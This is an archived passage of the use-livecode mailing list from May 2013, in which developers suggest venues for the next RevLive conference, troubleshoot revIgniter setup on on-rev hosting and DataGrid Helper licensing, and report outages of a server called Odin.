2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Sat, 18 May 2013 08:51:52 -0400 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? Message-ID: Hi, Before 14, I was wondering about the US Education event mentioned with the Kickstarter. I did not buy into that level but would do my best to attend an event in the US geared to Education folks. Insights welcomed. Selfish request, Pittsbugh, PA, my hometown, in late August. ;) Mark Rauterkus Mark at rauterkus.com -- -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com PPS Summer Dreamers' Swim and Water Polo Camp Head Coach Pittsburgh Combined Water Polo Team http://Rauterkus.blogspot.com http://FixPA.wikia.com http://CLOH.wikia.com 412 298 3432 = cell From rman at free.fr Sat May 18 08:55:07 2013 From: rman at free.fr (Robert Mann) Date: Sat, 18 May 2013 05:55:07 -0700 (PDT) Subject: scrolling stack I made In-Reply-To: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: <1368881707289-4665058.post@n4.nabble.com> wouhaou!! Impressed! ...add a vertical change of view direction and you'll have made that funky 3D desktop some of us must have fantasized about! Warm thank you : It's so interesting to see how things work behind the scene. And one can measure the live code path since the first scrollable groups a few years back, than the datagrid... -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/scrolling-stack-I-made-tp4665050p4665058.html Sent from the Revolution - User mailing list archive at Nabble.com. From iowahengst at mac.com Sat May 18 10:20:44 2013 From: iowahengst at mac.com (Randy Hengst) Date: Sat, 18 May 2013 09:20:44 -0500 Subject: [EDU] Endless Gap-Fill Exercises In-Reply-To: <51977715.9060107@gmail.com> References: <51977715.9060107@gmail.com> Message-ID: <5EBCEA07-B9F4-40C0-8AD1-FCB292B99BF9@mac.com> Hi Richmond, I agree with you. Somewhere is some box in my basement with Sammy's Science House and several other EdMark titles. I've not looked into it for a while, but I don't recall any updates to work with OSX. be well, randy ----- On May 18, 2013, at 7:41 AM, Richmond wrote: > Endless Gap-Fill Exercises and Multiple Choice Exercises numb brains > and dull creativity. > > --------------------------------------------------------------------------------------------------- > > I have just had a "spat" with somebody about this very topic and feel that > I would like to share with any educational developers on the Use-List > one particular CD-ROM my children enjoyed and benefitted from immensely > when we were living in Saudi Arabia [not to be recommended]: > > http://www.synapseadaptive.com/edmark/prod/house/sammy/features.html > > This has had a strong emphasis on the way I think about software development for > language teaching, especially for pre-teens (my main target group). > > This CD is still apparently available, for $70, although all the links churn and churn and never load. > I have an original CD I bought in Jeddah which I currently run on a Mac running Mac OS 8.5. > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Sat May 18 10:40:15 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 18 May 2013 17:40:15 +0300 Subject: [EDU] Endless Gap-Fill Exercises In-Reply-To: <5EBCEA07-B9F4-40C0-8AD1-FCB292B99BF9@mac.com> References: <51977715.9060107@gmail.com> <5EBCEA07-B9F4-40C0-8AD1-FCB292B99BF9@mac.com> Message-ID: <519792CF.8050006@gmail.com> On 05/18/2013 05:20 PM, Randy Hengst wrote: > Hi Richmond, > > I agree with you. Somewhere is some box in my basement with Sammy's Science House and several other EdMark titles. I've not looked into it for a while, but I don't recall any updates to work with OSX. I don't think there are any; but that won't stop me ripping off the "Sorting Station" idea for all sorts of things: 1. Grammatical categories: nouns, adjectives, adverbs, verbs and so on. 2. Vocabulary until you're blue in the face. Richmond. > > be well, > randy > ----- > On May 18, 2013, at 7:41 AM, Richmond wrote: > >> Endless Gap-Fill Exercises and Multiple Choice Exercises numb brains >> and dull creativity. >> >> --------------------------------------------------------------------------------------------------- >> >> I have just had a "spat" with somebody about this very topic and feel that >> I would like to share with any educational developers on the Use-List >> one particular CD-ROM my children enjoyed and benefitted from immensely >> when we were living in Saudi Arabia [not to be recommended]: >> >> http://www.synapseadaptive.com/edmark/prod/house/sammy/features.html >> >> This has had a strong emphasis on the way I think about software development for >> language teaching, especially for pre-teens (my main target group). >> >> This CD is still apparently available, for $70, although all the links churn and churn and never load. >> I have an original CD I bought in Jeddah which I currently run on a Mac running Mac OS 8.5. >> >> Richmond. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andrew at ctech.me Sat May 18 10:41:28 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Sat, 18 May 2013 09:41:28 -0500 Subject: Data Grid - Registering the product In-Reply-To: <2142DC0F-4B90-48AF-AEAC-A0AD371EBB5E@amglighthouse.co.za> References: <2142DC0F-4B90-48AF-AEAC-A0AD371EBB5E@amglighthouse.co.za> Message-ID: I am using Datagrid helper on 5.5.4 I think the problem is that it wont work on the community version of the new livecode. Also, DataGrid Helper was a tool made by Zyrip the slug who seems to have been MIA lately. I am sure if he ever reads this he might consider dual licensing it. On Fri, May 17, 2013 at 11:06 PM, Nigel Soden wrote: > I'm SO ANGRY... I purchased DataGrid helper and found that I cant register > it on V5.5.4 (Personnel). When doing some research on the product, no where > did it mention that it can't be used on the personnel version. OR have I > got it wrong. If this is the case then I will request a full refund. > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From andrew at ctech.me Sat May 18 10:43:17 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Sat, 18 May 2013 09:43:17 -0500 Subject: Data Grid - Registering the product In-Reply-To: References: <2142DC0F-4B90-48AF-AEAC-A0AD371EBB5E@amglighthouse.co.za> Message-ID: Oops, read this thread before the others. Anywho, how about it zyrip? Dual license? On Sat, May 18, 2013 at 9:41 AM, Andrew Kluthe wrote: > I am using Datagrid helper on 5.5.4 I think the problem is that it wont > work on the community version of the new livecode. > > Also, DataGrid Helper was a tool made by Zyrip the slug who seems to have > been MIA lately. I am sure if he ever reads this he might consider dual > licensing it. > > > On Fri, May 17, 2013 at 11:06 PM, Nigel Soden wrote: > >> I'm SO ANGRY... I purchased DataGrid helper and found that I cant >> register it on V5.5.4 (Personnel). When doing some research on the product, >> no where did it mention that it can't be used on the personnel version. OR >> have I got it wrong. If this is the case then I will request a full refund. >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > -- Regards, Andrew Kluthe andrew at ctech.me From probert.dave at gmail.com Sat May 18 10:42:54 2013 From: probert.dave at gmail.com (Dave Probert) Date: Sat, 18 May 2013 07:42:54 -0700 (PDT) Subject: scrolling stack I made In-Reply-To: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: <1368888174917-4665062.post@n4.nabble.com> Very nice stack - it even works well with a drop shadow on each of the icons. I would recommend adding a cleanup routine to the code along the lines of removing the image and deleting the array contents - so you can test it easier with more icons, etc. Again though, a nice little example. Dave -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/scrolling-stack-I-made-tp4665050p4665062.html Sent from the Revolution - User mailing list archive at Nabble.com. From andrew at ctech.me Sat May 18 10:44:12 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Sat, 18 May 2013 09:44:12 -0500 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: Chicago or Tampa? On Sat, May 18, 2013 at 7:51 AM, Mark Rauterkus wrote: > Hi, > > Before 14, I was wondering about the US Education event mentioned with the > Kickstarter. I did not buy into that level but would do my best to attend > an event in the US geared to Education folks. > > Insights welcomed. > > Selfish request, Pittsbugh, PA, my hometown, in late August. ;) > > Mark Rauterkus > Mark at rauterkus.com > > > > > -- > -- > Ta. > > > Mark Rauterkus Mark.Rauterkus at gmail.com > PPS Summer Dreamers' Swim and Water Polo Camp Head Coach > Pittsburgh Combined Water Polo Team > > http://Rauterkus.blogspot.com > http://FixPA.wikia.com > http://CLOH.wikia.com > 412 298 3432 = cell > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From littlejamesw at mac.com Sat May 18 11:09:29 2013 From: littlejamesw at mac.com (Jim Little) Date: Sat, 18 May 2013 08:09:29 -0700 Subject: scrolling stack I made In-Reply-To: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: Very nice parallax scrolling. thank you. Jim From bonnmike at gmail.com Sat May 18 11:13:50 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 18 May 2013 09:13:50 -0600 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: Albuquerque! Because there is just so much to see and do. *cough* (would be nice for me, not so nice for everyone else) Or san antonio, phoenix, denver, santa fe, el paso, phoenix, la, las vegas.. Can't fly (health), and can't drive too awful far for the same reason, so hoping for a closer venue next year. Alas, my hometown is probably a no chance. (Truth or Consequences) I live so far out in the middle of nowhere that I can't even SEE bfe from here. On Sat, May 18, 2013 at 8:44 AM, Andrew Kluthe wrote: > Chicago or Tampa? > > > On Sat, May 18, 2013 at 7:51 AM, Mark Rauterkus >wrote: > > > Hi, > > > > Before 14, I was wondering about the US Education event mentioned with > the > > Kickstarter. I did not buy into that level but would do my best to attend > > an event in the US geared to Education folks. > > > > Insights welcomed. > > > > Selfish request, Pittsbugh, PA, my hometown, in late August. ;) > > > > Mark Rauterkus > > Mark at rauterkus.com > > > > > > > > > > -- > > -- > > Ta. > > > > > > Mark Rauterkus Mark.Rauterkus at gmail.com > > PPS Summer Dreamers' Swim and Water Polo Camp Head Coach > > Pittsburgh Combined Water Polo Team > > > > http://Rauterkus.blogspot.com > > http://FixPA.wikia.com > > http://CLOH.wikia.com > > 412 298 3432 = cell > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From littlejamesw at mac.com Sat May 18 11:21:39 2013 From: littlejamesw at mac.com (Jim Little) Date: Sat, 18 May 2013 08:21:39 -0700 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: <30A92E2C-E5A0-4078-94D0-8E69C823C569@mac.com> Seattle? Portland? Vancouver, BC? On May 18, 2013, at 8:13 AM, Mike Bonner wrote: > Albuquerque! Because there is just so much to see and do. *cough* (would > be nice for me, not so nice for everyone else) > > Or san antonio, phoenix, denver, santa fe, el paso, phoenix, la, las > vegas.. Can't fly (health), and can't drive too awful far for the same > reason, so hoping for a closer venue next year. > > Alas, my hometown is probably a no chance. (Truth or Consequences) I live > so far out in the middle of nowhere that I can't even SEE bfe from here. > > > On Sat, May 18, 2013 at 8:44 AM, Andrew Kluthe wrote: > >> Chicago or Tampa? >> >> >> On Sat, May 18, 2013 at 7:51 AM, Mark Rauterkus >> wrote: >> >>> Hi, >>> >>> Before 14, I was wondering about the US Education event mentioned with >> the >>> Kickstarter. I did not buy into that level but would do my best to attend >>> an event in the US geared to Education folks. >>> >>> Insights welcomed. >>> >>> Selfish request, Pittsbugh, PA, my hometown, in late August. ;) >>> >>> Mark Rauterkus >>> Mark at rauterkus.com >>> >>> >>> >>> >>> -- >>> -- >>> Ta. >>> >>> >>> Mark Rauterkus Mark.Rauterkus at gmail.com >>> PPS Summer Dreamers' Swim and Water Polo Camp Head Coach >>> Pittsburgh Combined Water Polo Team >>> >>> http://Rauterkus.blogspot.com >>> http://FixPA.wikia.com >>> http://CLOH.wikia.com >>> 412 298 3432 = cell >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> >> >> -- >> Regards, >> >> Andrew Kluthe >> andrew at ctech.me >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ezra at interactstudios.com Sat May 18 11:41:12 2013 From: ezra at interactstudios.com (InteractStudios) Date: Sat, 18 May 2013 08:41:12 -0700 (PDT) Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: <1368891672262-4665068.post@n4.nabble.com> How about Dallas? Centrally located, easy to travel to, great restaurants and plenty to do. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Re-RevLive-13-is-wrapped-up-Any-location-planned-for-RevLive-14-tp4665057p4665068.html Sent from the Revolution - User mailing list archive at Nabble.com. From bonnmike at gmail.com Sat May 18 11:43:36 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 18 May 2013 09:43:36 -0600 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: <1368891672262-4665068.post@n4.nabble.com> References: <1368891672262-4665068.post@n4.nabble.com> Message-ID: I could manage dallas. Rough trip but doable if I bring someone along to help. On Sat, May 18, 2013 at 9:41 AM, InteractStudios wrote: > How about Dallas? Centrally located, easy to travel to, great restaurants > and plenty to do. > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Re-RevLive-13-is-wrapped-up-Any-location-planned-for-RevLive-14-tp4665057p4665068.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Sat May 18 11:56:26 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 18 May 2013 18:56:26 +0300 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: <1368891672262-4665068.post@n4.nabble.com> Message-ID: <5197A4AA.6030807@gmail.com> Plovdiv, Bulgaria. Because it is well time the Balkans heard about Livecode, and everything is relatively cheap [especially air tickets for Richmond if you do come here !], and the standard of 'traditional' computer programming in Bulgaria is really very high. Marvellous in early May. From dsc at swcp.com Sat May 18 12:03:05 2013 From: dsc at swcp.com (Dar Scott) Date: Sat, 18 May 2013 10:03:05 -0600 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: I'm in Albuquerque, Mike. Denver is a central hub in a location that many folks would enjoy, so I'll repeat Mike's mention. Dar On May 18, 2013, at 9:13 AM, Mike Bonner wrote: > Albuquerque! Because there is just so much to see and do. *cough* (would > be nice for me, not so nice for everyone else) > > Or san antonio, phoenix, denver, santa fe, el paso, phoenix, la, las > vegas.. Can't fly (health), and can't drive too awful far for the same > reason, so hoping for a closer venue next year. > > Alas, my hometown is probably a no chance. (Truth or Consequences) I live > so far out in the middle of nowhere that I can't even SEE bfe from here. > > > On Sat, May 18, 2013 at 8:44 AM, Andrew Kluthe wrote: > >> Chicago or Tampa? >> >> >> On Sat, May 18, 2013 at 7:51 AM, Mark Rauterkus >> wrote: >> >>> Hi, >>> >>> Before 14, I was wondering about the US Education event mentioned with >> the >>> Kickstarter. I did not buy into that level but would do my best to attend >>> an event in the US geared to Education folks. >>> >>> Insights welcomed. >>> >>> Selfish request, Pittsbugh, PA, my hometown, in late August. ;) >>> >>> Mark Rauterkus >>> Mark at rauterkus.com >>> >>> >>> >>> >>> -- >>> -- >>> Ta. >>> >>> >>> Mark Rauterkus Mark.Rauterkus at gmail.com >>> PPS Summer Dreamers' Swim and Water Polo Camp Head Coach >>> Pittsburgh Combined Water Polo Team >>> >>> http://Rauterkus.blogspot.com >>> http://FixPA.wikia.com >>> http://CLOH.wikia.com >>> 412 298 3432 = cell >>> _______________________________________________ >> >> >> -- >> Regards, >> >> Andrew Kluthe >> andrew at ctech.me >> From simplsol at aol.com Sat May 18 12:03:13 2013 From: simplsol at aol.com (Paul Looney) Date: Sat, 18 May 2013 09:03:13 -0700 Subject: Out of Albuquerque In-Reply-To: References: Message-ID: <07463DD4-9BD8-4358-A780-2A4C0AF7505A@aol.com> On May 18, 2013, at 8:13 AM, Mike Bonner wrote: > Can't fly (health), and can't drive too awful far Mike, Have you tried the Southwest Chief? Los Angeles to Chicago, with stops in Albuquerque both ways. Beautiful scenery each direction. Better than flying or driving! Done both. Paul Looney From rabit at revigniter.com Sat May 18 12:10:04 2013 From: rabit at revigniter.com (Ralf Bitter) Date: Sat, 18 May 2013 18:10:04 +0200 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> Message-ID: <53688978-E0F6-4679-8D85-F23A2E197E03@revigniter.com> Hi Keith, the bug mentioned in the user guide applies only to installations on Lion and Mountain Lion. It is fixed in LiveCode Server release: 6.0.0-rc-1 though. This means, revIgniter should work on on-rev.com without flaws. I would try to start with a clean root folder without any Apache directives in .htaccess. Then all you have to do (really) is to copy the files and folders included to server root. Check your installation using an URL like "yourSite.on-rev.com/index.lc". Best Ralf On 18.05.2013, at 11:07, Keith Clarke wrote: > Hi folks, > Can any revIgniter expert please advise whether the current version of LiveCode Server installed on pancake.on-rev.com is compatible with revIgniter? > > I've installed but getting 404 errors on the index.lc page under revIgniter and the user guide's troubleshooting section mentions a bug in some LiveCode Server versions. > > I don't see any LiveCode server info in CPanel and can't find any documentation on how to check the server version from a .lc file. > > Is there a statement similar to that used to check PHP parameters - like 'put server version' ? > Best, > Keith.. From bonnmike at gmail.com Sat May 18 12:13:51 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 18 May 2013 10:13:51 -0600 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: Denver would work very well for me. I'm not positive, but I think I could ride the train from abq the rest of the way up. (don't know the rules as far as carrying oxygen, but gotta be easier than managing flights and/or renting flight acceptable equipment) WOrst case my car has no objections to carrying the stuff. I'd love to see bulgaria. Heck, i'd love to see anywhere but here! I see your address is swcp.. do you work there, or just get your email through them? (just curious) Back when I lived in albuquerque (grew up there, moved away, moved back for work) I worked at Industry Network corp in the lockheed martin building (across the street from the pit) and gateway during the short while they were there. Both are now gone of course. (Hmm I worked there, they're gone.. causal link?) Working at INC was kinda fun! On Sat, May 18, 2013 at 10:03 AM, Dar Scott wrote: > I'm in Albuquerque, Mike. > > Denver is a central hub in a location that many folks would enjoy, so I'll > repeat Mike's mention. > > Dar > > > On May 18, 2013, at 9:13 AM, Mike Bonner wrote: > > > Albuquerque! Because there is just so much to see and do. *cough* (would > > be nice for me, not so nice for everyone else) > > > > Or san antonio, phoenix, denver, santa fe, el paso, phoenix, la, las > > vegas.. Can't fly (health), and can't drive too awful far for the same > > reason, so hoping for a closer venue next year. > > > > Alas, my hometown is probably a no chance. (Truth or Consequences) I live > > so far out in the middle of nowhere that I can't even SEE bfe from here. > > > > > > On Sat, May 18, 2013 at 8:44 AM, Andrew Kluthe wrote: > > > >> Chicago or Tampa? > >> > >> > >> On Sat, May 18, 2013 at 7:51 AM, Mark Rauterkus < > mark.rauterkus at gmail.com > >>> wrote: > >> > >>> Hi, > >>> > >>> Before 14, I was wondering about the US Education event mentioned with > >> the > >>> Kickstarter. I did not buy into that level but would do my best to > attend > >>> an event in the US geared to Education folks. > >>> > >>> Insights welcomed. > >>> > >>> Selfish request, Pittsbugh, PA, my hometown, in late August. ;) > >>> > >>> Mark Rauterkus > >>> Mark at rauterkus.com > >>> > >>> > >>> > >>> > >>> -- > >>> -- > >>> Ta. > >>> > >>> > >>> Mark Rauterkus Mark.Rauterkus at gmail.com > >>> PPS Summer Dreamers' Swim and Water Polo Camp Head Coach > >>> Pittsburgh Combined Water Polo Team > >>> > >>> http://Rauterkus.blogspot.com > >>> http://FixPA.wikia.com > >>> http://CLOH.wikia.com > >>> 412 298 3432 = cell > >>> _______________________________________________ > >> > >> > >> -- > >> Regards, > >> > >> Andrew Kluthe > >> andrew at ctech.me > >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Sat May 18 12:17:20 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 18 May 2013 10:17:20 -0600 Subject: Out of Albuquerque In-Reply-To: <07463DD4-9BD8-4358-A780-2A4C0AF7505A@aol.com> References: <07463DD4-9BD8-4358-A780-2A4C0AF7505A@aol.com> Message-ID: Nope haven't tried it. I've come to a time in life (running out of time in a way) where I want to go places and see things. Will look into the chief because it would be very cool to be able to train around the country, and chicago to la would be a pretty big chunk! Will have to look some things up to check costs and see how things work for train travel. Last time I was on a train I was 6. Thanks for the tip, even if I don't end up making it to a conference, a method of travel is just the ticket to get me out of here in a manageable way. On Sat, May 18, 2013 at 10:03 AM, Paul Looney wrote: > > On May 18, 2013, at 8:13 AM, Mike Bonner wrote: > > > Can't fly (health), and can't drive too awful far > > > Mike, > Have you tried the Southwest Chief? > Los Angeles to Chicago, with stops in Albuquerque both ways. > Beautiful scenery each direction. > Better than flying or driving! Done both. > Paul Looney > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Sat May 18 13:20:53 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 18 May 2013 18:20:53 +0100 Subject: Odin down again ? Message-ID: Can anyone confirm that Odin is down again ?... From bonnmike at gmail.com Sat May 18 13:47:42 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 18 May 2013 11:47:42 -0600 Subject: Odin down again ? In-Reply-To: References: Message-ID: Yep. Odin is gone. On Sat, May 18, 2013 at 11:20 AM, John Dixon wrote: > Can anyone confirm that Odin is down again ?... > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From lfredricks at proactive-intl.com Sat May 18 14:06:31 2013 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Sat, 18 May 2013 11:06:31 -0700 Subject: RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: <30A92E2C-E5A0-4078-94D0-8E69C823C569@mac.com> References: <30A92E2C-E5A0-4078-94D0-8E69C823C569@mac.com> Message-ID: <1F038F345AB8432FA429593CB90257AB@GATEWAY> > Seattle? Portland? Vancouver, BC? > The great northwest is always a winner for me - Id be happy with any of the above. Vancouver BC is awesome for shows (I went to SIGGRAPH there a few years ago), but its not cheap for everyone. Im going to a show in Sea-Tac in July and I can let the folks at Runtime know what that's like. Of course Portland is great and you can see how true Portlandia and Grimm are ;-) And we also have OSCON here. That said... San Jose was a great location before because its close to the big SV, the press and the like. There are some open source cons that take place in that area. We also did it before in Las Vegas, and Las Vegas I think is the best location because: 1) you can fly there cheap from about any place in the US 2) hotel rooms are cheap 3) as we saw years ago when we were there for a RunRev Live, you don't HAVE to go to a gambling place And maybe even more so... 4) its possible to coordinate the event so that it takes place in conjunction with a larger event, like CES or Interop or something like that. Best regards, Lynn Fredricks President Paradigma Software http://www.paradigmasoft.com Valentina SQL Server: The Ultra-fast, Royalty Free Database Server From keith.clarke at clarkeandclarke.co.uk Sat May 18 14:07:15 2013 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Sat, 18 May 2013 19:07:15 +0100 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <53688978-E0F6-4679-8D85-F23A2E197E03@revigniter.com> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> <53688978-E0F6-4679-8D85-F23A2E197E03@revigniter.com> Message-ID: <4A3996F0-AA57-4B97-BCC2-3AF4D0E772C3@clarkeandclarke.co.uk> Hi Ralf - thanks for the clarification. I think my problem is confusion over the term 'root' I have the choice of my document root - at 'myname.on-rev.com'; My account web-root at 'myname.on-rev.com/public_html'; My company web site at 'myname.on-rev.com/public_html/mydomain.com' The sub-directory of that site, where I want to experiment with revIgniter - and where the index.lc file will reside - at 'myname.on-rev.com/public_html/mydomain.com/mytestfolder/index.lc So far, I've been installing revIgniter bits into into (4), to avoid any risk to the rest of my company web site, but should I be installing into (1) or (2) and leaving the index.lc in (4)? Thanks & regards, Keith.. On 18 May 2013, at 17:10, Ralf Bitter wrote: > > Hi Keith, > > the bug mentioned in the user guide applies only to > installations on Lion and Mountain Lion. It is > fixed in LiveCode Server release: 6.0.0-rc-1 though. > > This means, revIgniter should work on on-rev.com without > flaws. I would try to start with a clean root folder > without any Apache directives in .htaccess. Then all > you have to do (really) is to copy the files and folders > included to server root. Check your installation using > an URL like "yourSite.on-rev.com/index.lc". > > Best > > Ralf > > > On 18.05.2013, at 11:07, Keith Clarke wrote: > >> Hi folks, >> Can any revIgniter expert please advise whether the current version of LiveCode Server installed on pancake.on-rev.com is compatible with revIgniter? >> >> I've installed but getting 404 errors on the index.lc page under revIgniter and the user guide's troubleshooting section mentions a bug in some LiveCode Server versions. >> >> I don't see any LiveCode server info in CPanel and can't find any documentation on how to check the server version from a .lc file. >> >> Is there a statement similar to that used to check PHP parameters - like 'put server version' ? >> Best, >> Keith.. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dixonja at hotmail.co.uk Sat May 18 14:23:26 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 18 May 2013 19:23:26 +0100 Subject: Odin down again ? In-Reply-To: References: , Message-ID: Thanks Mike... Oh well, off to the pub ! > Date: Sat, 18 May 2013 11:47:42 -0600 > Subject: Re: Odin down again ? > From: bonnmike at gmail.com > To: use-livecode at lists.runrev.com > > Yep. Odin is gone. > > > On Sat, May 18, 2013 at 11:20 AM, John Dixon wrote: > > > Can anyone confirm that Odin is down again ?... > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Sat May 18 22:28:10 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 18 May 2013 21:28:10 -0500 Subject: Odin down again ? In-Reply-To: References: Message-ID: Odin is still down. Drink up. ;) On Sat, May 18, 2013 at 1:23 PM, John Dixon wrote: > Thanks Mike... Oh well, off to the pub ! > > > Date: Sat, 18 May 2013 11:47:42 -0600 > > Subject: Re: Odin down again ? > > From: bonnmike at gmail.com > > To: use-livecode at lists.runrev.com > > > > Yep. Odin is gone. > > > > > > On Sat, May 18, 2013 at 11:20 AM, John Dixon > wrote: > > > > > Can anyone confirm that Odin is down again ?... > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sat May 18 22:37:15 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 18 May 2013 21:37:15 -0500 Subject: Dictionary Server Error Message-ID: When I click on the dictionary I'm getting something that looks like the following in the message box (this goes on for several lines). Anyone else getting this error? It's a pain in the rear. Any fix? The following server error was encountered: --------------------------------------------------------- pUrl: http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D pStatus: cached UrlData: From jhj at jhj.com Sat May 18 22:54:01 2013 From: jhj at jhj.com (Jerry Jensen) Date: Sat, 18 May 2013 